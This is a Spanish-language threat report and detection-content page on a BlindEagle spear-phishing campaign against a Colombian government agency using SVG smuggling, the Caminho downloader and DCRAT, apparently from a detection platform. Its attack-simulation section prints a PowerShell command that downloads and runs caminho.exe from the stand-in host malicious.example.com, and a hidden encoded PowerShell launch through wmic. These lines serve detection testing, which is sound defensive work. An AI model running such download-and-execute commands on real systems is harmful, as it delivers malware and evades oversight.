BlindEagle Apunta a Agencia Gubernamental Colombiana con Caminho y DCRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
BlindEagle llevó a cabo una operación de spear-phishing dirigida a una agencia gubernamental colombiana, entregando un archivo adjunto SVG armado que inició una cadena de ejecución de JavaScript a PowerShell. Esa secuencia descargó un descargador llamado Caminho, que luego obtuvo el troyano de acceso remoto DCRAT de código abierto alojado en Discord. La etapa final utilizó el vaciamiento de procesos en MSBuild.exe y aplicó múltiples métodos de evasión para reducir la detección.
Investigación
Zscaler ThreatLabz analizó el flujo de infección y reportó un enfoque de contrabando SVG, varios niveles de JavaScript ofuscado, un comando de PowerShell activado por WMI, y la entrega de Caminho a través de una URL alojada en Discord. La investigación también asoció la infraestructura de soporte con direcciones IP suecas y un proveedor de DNS dinámico (ydns.eu).
Mitigación
Aplique controles más estrictos para archivos adjuntos de correo electrónico entrantes, especialmente contenido SVG, y haga cumplir el desarme/inspección de contenido para scripts incrustados. Use políticas de proxy web para restringir el acceso a puntos de alojamiento de archivos sospechosos, incluidas las URL de archivos de Discord utilizadas para la entrega de malware. Monitoree patrones inusuales de ejecución de PowerShell y WMI, y haga cumplir políticas de lista blanca de aplicaciones que cubran el uso de MSBuild.exe.
Respuesta
Respuesta
Genere alertas para el artefacto SVG malicioso, el nombre de archivo de JavaScript mencionado y las descargas que lleguen a la URL de Discord. Busque rastros en memoria o en disco de Caminho y DCRAT, evidencia de vaciamiento de procesos MSBuild.exe, y persistencia a través de cambios en el registro o tareas programadas. Cuarentenar puntos finales afectados y bloquee el dominio C2 identificado.
«graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Nodes initial_access_phishing[«<b>Acción</b> – <b>T1566.001 Adjunto de Phishing</b><br />Adjunto SVG en correo electrónico»] class initial_access_phishing action user_exec_malicious_link[«<b>Acción</b> – <b>T1204.001 Ejecución por el Usuario</b><br />Hacer clic en imagen SVG maliciosa»] class user_exec_malicious_link action user_exec_malicious_file[«<b>Acción</b> – <b>T1204.002 Ejecución por el Usuario</b><br />Abrir archivo JavaScript»] class user_exec_malicious_file action obfuscation_svg_smuggling[«<b>Técnica</b> – <b>T1027.017</b><br />Contrabando de SVG para ocultar script»] class obfuscation_svg_smuggling technique obfuscation_embedded_payloads[«<b>Técnica</b> – <b>T1027.009</b><br />Cargas útiles de JavaScript codificadas en Base64»] class obfuscation_embedded_payloads technique command_js[«<b>Técnica</b> – <b>T1059.007 JavaScript</b><br />Scripts de desofuscación»] class command_js technique command_powershell[«<b>Técnica</b> – <b>T1059.001 PowerShell</b><br />WMI Create para ejecutar PowerShell»] class command_powershell technique event_wmi_subscription[«<b>Técnica</b> – <b>T1546.003</b><br />Ejecución de suscripción de eventos WMI»] class event_wmi_subscription technique obfuscation_steganography[«<b>Técnica</b> – <b>T1027.003</b><br />Carga útil oculta en imagen PNG»] class obfuscation_steganography technique reflective_code_loading[«<b>Técnica</b> – <b>T1620</b><br />Carga reflexiva de ensamblaje .NET»] class reflective_code_loading technique process_hollowing[«<b>Técnica</b> – <b>T1055.012</b><br />Huecado de MsBuild»] class process_hollowing technique downloader_caminho[«<b>Herramienta</b> – <b>Nombre</b>: Descargador Caminho<br /><b>Propósito</b>: Obtener DCRAT»] class downloader_caminho tool malware_dcrat[«<b>Malware</b> – <b>Nombre</b>: DCRAT»] class malware_dcrat malware amsi_bypass[«<b>Técnica</b> – <b>T1027.005</b><br />Parchear AMSI para eludir la detección»] class amsi_bypass technique persistence_run_key[«<b>Técnica</b> – <b>T1547.001</b><br />Crear clave de ejecución en el registro»] class persistence_run_key technique persistence_scheduled_task[«<b>Técnica</b> – <b>T1053</b><br />Crear tarea programada»] class persistence_scheduled_task technique c2_discord[«<b>Comando & Control</b> – URL de Discord usada para la distribución de cargas útiles»] class c2_discord technique %% Connections initial_access_phishing u002du002d>|leads_to| user_exec_malicious_link user_exec_malicious_link u002du002d>|leads_to| user_exec_malicious_file user_exec_malicious_file u002du002d>|leads_to| obfuscation_svg_smuggling obfuscation_svg_smuggling u002du002d>|leads_to| obfuscation_embedded_payloads obfuscation_embedded_payloads u002du002d>|leads_to| command_js command_js u002du002d>|leads_to| command_powershell command_powershell u002du002d>|leads_to| event_wmi_subscription event_wmi_subscription u002du002d>|leads_to| obfuscation_steganography obfuscation_steganography u002du002d>|leads_to| reflective_code_loading reflective_code_loading u002du002d>|leads_to| process_hollowing process_hollowing u002du002d>|leads_to| downloader_caminho downloader_caminho u002du002d>|downloads| malware_dcrat malware_dcrat u002du002d>|performs| amsi_bypass malware_dcrat u002du002d>|establishes| persistence_run_key malware_dcrat u002du002d>|establishes| persistence_scheduled_task malware_dcrat u002du002d>|uses| c2_discord «
Flujo de Ataque
Detecciones
Cadenas de Powershell Sospechosas (via powershell)
Ver
LOLBAS WScript / CScript (via process_creation)
Ver
Posible Archivo de Internet Resuelto Por Proceso No Común (via dns_query)
Ver
Llamar Métodos .NET Sospechosos desde Powershell (via powershell)
Ver
IOCs (HashMd5) para detectar: BlindEagle ataca a Agencia Gubernamental Colombiana con Caminho y DCRAT
Ver
IOCs (SourceIP) para detectar: BlindEagle ataca a Agencia Gubernamental Colombiana con Caminho y DCRAT
Ver
IOCs (HashSha1) para detectar: BlindEagle ataca a Agencia Gubernamental Colombiana con Caminho y DCRAT
Ver
IOCs (HashSha256) para detectar: BlindEagle ataca a Agencia Gubernamental Colombiana con Caminho y DCRAT
Ver
IOCs (DestinationIP) para detectar: BlindEagle ataca a Agencia Gubernamental Colombiana con Caminho y DCRAT
Ver
Detección de Comando PowerShell de BlindEagle Utilizando WMI [Windows Powershell]
Ver
Ejecución de Simulación
Requisito Previo: La Verificación Previa de Telemetría y Línea Base debe haberse completado con éxito.
Justificación: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
El actor de amenaza (BlindEagle) utiliza WMI para generar un proceso de PowerShell que descarga la carga útil “Caminho” desde un servidor C2 remoto y la ejecuta en memoria. Al aprovecharwmic.execon elmétodo process call create, el atacante puede ejecutar PowerShell sin interactuar con una sesión de usuario, haciendo la actividad sigilosa. La línea de comandos contiene la palabra literal “powershell”, lo que satisface la condición de la regla de detección.-
Etapa 1 – Preparar el comando de PowerShell malicioso de una sola línea:
$url = "http://malicious.example.com/caminho.exe" $out = "$env:TEMPcaminho.exe" Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out -
Etapa 2 – Ejecutar a través de WMI:
$psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>' wmic process call create "$psCmd"
La presencia de
powershellen elcampo CommandLinedel evento Sysmon 1 generado por el proceso hijowmicactivará la regla. -
-
Script de Prueba de Regresión:
# Simulación de PowerShell via WMI de BlindEagle # ---------------------------------------------------------------------- # 1. Definir carga útil maliciosa (para prueba usamos un comando benigno echo) $payload = 'Write-Host "Simulated Caminho execution"' $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Construya la línea de comando de PowerShell que incluya la palabra literal "powershell" $psCommand = "powershell -NoProfile -EncodedCommand $encoded" # 3. Lanza el comando vía WMI (wmic) para generar un EventID 1 de Sysmon $wmicCommand = "wmic process call create `"$psCommand`"" Write-Host "Ejecutando vía WMI: $wmicCommand" Invoke-Expression $wmicCommand # 4. Opcional: Registre en la consola para verificación Write-Host "Simulación completa. Verifique la detección en el SIEM." -
Comandos de Limpieza:
# Eliminar cualquier archivo temporal (ninguno creado en esta simulación) # Terminar cualquier proceso de wmic o PowerShell iniciado para la prueba Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "Limpieza completa."